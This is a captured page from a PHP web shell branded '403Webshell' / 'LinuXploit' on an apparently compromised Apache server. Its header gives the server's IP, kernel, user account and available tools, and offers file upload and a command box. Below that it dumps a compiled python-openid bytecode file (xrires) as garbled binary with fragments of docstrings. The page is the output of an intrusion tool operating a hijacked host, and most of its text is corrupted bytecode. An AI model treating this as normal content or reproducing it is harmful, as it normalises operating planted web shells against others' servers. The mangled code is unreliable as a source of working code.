403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/openid/yadis/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/openid/yadis/__pycache__/xrires.cpython-311.pyc
�

|=�^���l�dZddlmZddlmZddlmZddlmZddl	m
Z
dZGd�d	e��Z
d
�ZdS)zXRI resolution.
�)�	urlencode)�fetchers)�etxrd)�toURINormal)�iterServiceszhttp://proxy.xri.net/c�*�eZdZdZefd�Zdd�Zd�ZdS)�
ProxyResolverz5Python interface to a remote XRI proxy resolver.
    c��||_dS�N)�	proxy_url)�selfrs  �5/usr/lib/python3/dist-packages/openid/yadis/xrires.py�__init__zProxyResolver.__init__s
��"�����Nc��t|��dd�}|j|z}ddi}|r||d<n|dxxdz
cc<t||��}|S)aQBuild a URL to query the proxy resolver.

        @param xri: An XRI to resolve.
        @type xri: unicode

        @param service_type: The service type to resolve, if you desire
            service endpoint selection.  A service type is a URI.
        @type service_type: str

        @returns: a URL
        @returntype: str
        �N�_xrd_rzapplication/xrds+xml�_xrd_tz
;sep=false)rr�_appendArgs)r
�xri�service_type�qxri�hxri�args�querys       r�queryURLzProxyResolver.queryURLsv�� �3������#���~��$��
�,�
���	+�)�D��N�N�
��N�N�N�l�*�N�N�N��D�$�'�'���rc�B�g}d}|D]�}|�||��}tj|��}|jdvr�6t	j|j��}t	j||��}tt|����}	|�
|	����||fS)a�Resolve some services for an XRI.

        Note: I don't implement any service endpoint selection beyond what
        the resolver I'm querying does, so the Services I return may well
        include Services that were not of the types you asked for.

        May raise fetchers.HTTPFetchingError or L{etxrd.XRDSError} if
        the fetching or parsing don't go so well.

        @param xri: An XRI to resolve.
        @type xri: unicode

        @param service_types: A list of services types to query for.  Service
            types are URIs.
        @type service_types: list of str

        @returns: tuple of (CanonicalID, Service elements)
        @returntype: (unicode, list of C{ElementTree.Element}s)
        N)����)rr�fetch�statusr�	parseXRDS�body�getCanonicalID�listr�extend)
r
r�
service_types�services�canonicalIDr�url�response�et�
some_servicess
          rrzProxyResolver.query6s���*��
��)�
	+�
	+�L��-�-��\�2�2�C��~�c�*�*�H���j�0�0������/�/�B��.�s�B�7�7�K� ��b�!1�!1�2�2�M��O�O�M�*�*�*�*�
�H�$�$rr)�__name__�
__module__�__qualname__�__doc__�
DEFAULT_PROXYrrr�rrr	r	s[��������"/�#�#�#�#�����B+%�+%�+%�+%�+%rr	c��t|d��r5t|�����}|���t	|��dkr|Sd|�d��vrd}nd}|�|�t
|����S)z,Append some arguments to an HTTP query.
    �itemsr�?�&)�hasattrr%r5�sort�len�rstripr)r*r�seps   rrrds����t�W�����D�J�J�L�L�!�!���	�	����
�4�y�y�A�~�~��
��c�j�j��o�o���������s�C�C��4����1�1rN)r1�urllib.parser�openidr�openid.yadisr�openid.yadis.xrir�openid.yadis.servicesrr2�objectr	rr3rr�<module>rCs�����#�"�"�"�"�"�������������(�(�(�(�(�(�.�.�.�.�.�.�'�
�S%�S%�S%�S%�S%�F�S%�S%�S%�l2�2�2�2�2r

Youez - 2016 - github.com/yon3zu
LinuXploit